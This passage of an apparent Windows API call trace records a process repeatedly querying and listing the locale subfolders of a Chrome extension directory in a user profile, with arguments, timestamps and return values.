(in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms", lpFilePart=0x0) returned 0x7d [0069.926] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.927] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.927] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne", lpFilePart=0x0) returned 0x7d [0069.927] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee41b590, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee41dca0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee41dca0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.927] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne", lpFilePart=0x0) returned 0x7d [0069.927] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.927] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.927] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne", lpFilePart=0x0) returned 0x7d [0069.927] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.928] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.928] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl", lpFilePart=0x0) returned 0x7d [0069.928] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee422ac0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee4278e0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee4278e0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.928] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl", lpFilePart=0x0) returned 0x7d [0069.928] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.928] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.928] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl", lpFilePart=0x0) returned 0x7d [0069.928] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.928] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.928] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no", lpFilePart=0x0) returned 0x7d [0069.928] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee42c700, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee42ee10, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee42ee10, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.929] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no", lpFilePart=0x0) returned 0x7d [0069.929] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.929] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.929] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no", lpFilePart=0x0) returned 0x7d [0069.929] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.929] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.929] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl", lpFilePart=0x0) returned 0x7d [0069.929] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee433c30, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee436340, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee436340, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.930] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl", lpFilePart=0x0) returned 0x7d [0069.930] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.930] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.930] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl", lpFilePart=0x0) returned 0x7d [0069.930] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.930] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.930] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR", lpFilePart=0x0) returned 0x80 [0069.930] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee43b160, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee43d870, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee43d870, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.931] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR", lpFilePart=0x0) returned 0x80 [0069.931] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.931] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.931] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR", lpFilePart=0x0) returned 0x80 [0069.931] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.931] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.931] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT", lpFilePart=0x0) returned 0x80 [0069.931] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee442690, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee444da0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee444da0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.931] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT", lpFilePart=0x0) returned 0x80 [0069.931] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.932] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.932] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT", lpFilePart=0x0) returned 0x80 [0069.932] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.932] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.932] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro", lpFilePart=0x0) returned 0x7d [0069.932] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee449bc0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee44c2d0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee44c2d0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.932] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro", lpFilePart=0x0) returned 0x7d [0069.932] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.933] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.933] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro", lpFilePart=0x0) returned 0x7d [0069.933] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.933] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.933] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru", lpFilePart=0x0) returned 0x7d [0069.933] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee4510f0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee453800, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee453800, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.933] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru", lpFilePart=0x0) returned 0x7d [0069.933] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.933] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.933] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru", lpFilePart=0x0) returned 0x7d [0069.933] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.933] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.934] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si", lpFilePart=0x0) returned 0x7d [0069.934] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User 